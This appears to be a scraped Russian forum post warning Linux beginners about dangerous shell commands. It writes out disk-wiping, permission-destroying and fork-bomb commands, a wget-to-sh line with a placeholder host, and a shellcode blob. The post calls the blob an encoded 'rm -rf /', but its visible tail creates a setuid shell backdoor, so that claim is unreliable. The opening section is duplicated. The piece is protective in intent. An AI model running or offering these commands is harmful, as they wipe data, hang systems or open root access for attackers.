Еcли ты только начал осваивать Linux, то просто обязан знать то, что обычно делать не следует на своем сервере
В Linux есть целых набор команд, которые не стоит вводить в командную строку или советовать кому-нибудь это сделать (хотя...).
Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.
Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.
В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!
И начнём мы с действительно опасных действий, последствия которых невозможно обратить:
1.
Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:
В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция
Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:
Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”
16-ричное представление команды
2.
/dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”
3.
4.
5.
6.
7.
Чтобы лучше понять, как она действует, давайте её немного преобразуем:
Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.
9.
10.
11.
Ну вот и всё, мы дали вам представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить.
По материалам Для просмотра ссылки Войдиили Зарегистрируйся
В Linux есть целых набор команд, которые не стоит вводить в командную строку или советовать кому-нибудь это сделать (хотя...).
Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.
Внимание! Эти команды действительно могут навредить твоей системе. Мы снимаем с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер.
Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.
В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!
Необратимые
И начнём мы с действительно опасных действий, последствия которых невозможно обратить:
1.
rm –rf /
- Удаляет всё, до чего только может добраться. Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:
- rm - команда для удаления файлов
- -r - рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них
- -f - означает “force”, не спрашивает подтверждения для выполнения операции у пользователя
- /
- - “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.
В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция
--preserve-root
. Однако, если добавить к ней ключ --no-preserve-root
, то команда всё же сработает.Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:
Код:
mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /
Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”
Код:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
16-ричное представление команды
rm –rf /
, его система тоже поймёт.2.
sudo dd if=/dev/zero of=/dev/sda bs=8m
- Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС./dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”
Обратите внимание на sudo перед последующей командой. Это значит, что её можно исполнить только под пользователем root.
Встречается ещё использование другого псевдоустройства - if=/dev/random. В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей.
3.
shred /dev/sda
- Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них.4.
mkfs.ext3 /dev/sda
- Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные.5.
chmod -Rv 000 /
- Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.6.
chown -R nobody:nobody /
- Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.
Опасные, но обратимые
7.
:(){ :|:& };:
- Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию.Чтобы лучше понять, как она действует, давайте её немного преобразуем:
Код:
fu() {
fu | fu &
}
fu
Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.
9.
некая_команда > file.conf
- Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают >
- заменить и >>
- добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать > file.conf
, то можно просто стереть содержимое файла.10.
wget http://вредоносный_сайт -O- | sh
- Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь.11.
chmod -R 777 /
- Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой.Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи.
Ну вот и всё, мы дали вам представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить.
По материалам Для просмотра ссылки Войди